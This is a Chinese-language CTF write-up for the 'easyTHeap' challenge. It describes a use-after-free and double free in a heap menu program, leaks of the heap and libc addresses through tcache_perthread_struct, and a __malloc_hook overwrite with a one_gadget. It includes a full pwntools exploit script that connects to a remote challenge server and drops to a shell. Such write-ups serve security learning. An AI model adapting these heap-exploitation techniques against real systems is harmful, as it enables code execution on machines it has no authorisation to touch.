[V&N2020 公开赛]easyTHeap
安全检查
程序流程:
主要是free这里没有置为0
漏洞分析:
- 首先由于uaf漏洞,所以我们可以通过double free来获得堆地址,并且还可以直接通过edit来修改tache_pthread_struct这个结构体里的成员
- 然后利用tache_pthread_struct修改所有成员的个数,再释放一个带有tache_pthread_struct的函数,再输出出来就可以获得main_arena
- 之后接着劫持malloc_hook即可,不过这里劫持我还有点没搞懂,所以会放在再刷一遍系列里面
EXP:
from pwn import * #p=process('./vn_pwn_easyTHeap') p=remote('node3.buuoj.cn',29664) libc=ELF('./libc-2.27.so') def add(size): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('size?') p.sendline(str(size)) def edit(idx,content): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('idx?') p.sendline(str(idx)) p.recvuntil('content:') p.sendline(content) def show(idx): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('idx?') p.sendline(str(idx)) def delete(idx): p.recvuntil('choice: ') p.sendline('4') p.recvuntil('idx?') p.sendline(str(idx)) add(0x50)#0 delete(0) delete(0) show(0) thread_tache=u64(p.recv(6).ljust(8,'\x00'))-0x250 #try_entry=thread_tache+0x80 add(0x50)#1 edit(1,p64(thread_tache)) add(0x50)#2 add(0x50)#3 edit(3,'a'*0x28) delete(3) show(3) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0 print hex(libc_base) malloc_hook=libc_base+libc.symbols['__malloc_hook'] realloc=libc_base+libc.symbols['__libc_realloc'] one=libc_base+0x4f322 add(0x50)#4 edit(4,'a'*0x48+p64(malloc_hook-0x13)) add(0x20)#5 print hex(one) edit(5,'\x00'*(0x13-0x8)+p64(one)+p64(realloc+8)) add(0x10) #print hex(thread_tache) #gdb.attach(p) p.interactive()
总结:
- 不知道为什么要这样劫持,这是最重要的一点,所以等我今天如果能看明白,就会单独看一篇博客记录下来,否则明天一定要写出阿里
- 这道题一开始我以为是通过让其count成员溢出,然后泄露libc,但发现后面无法在前进了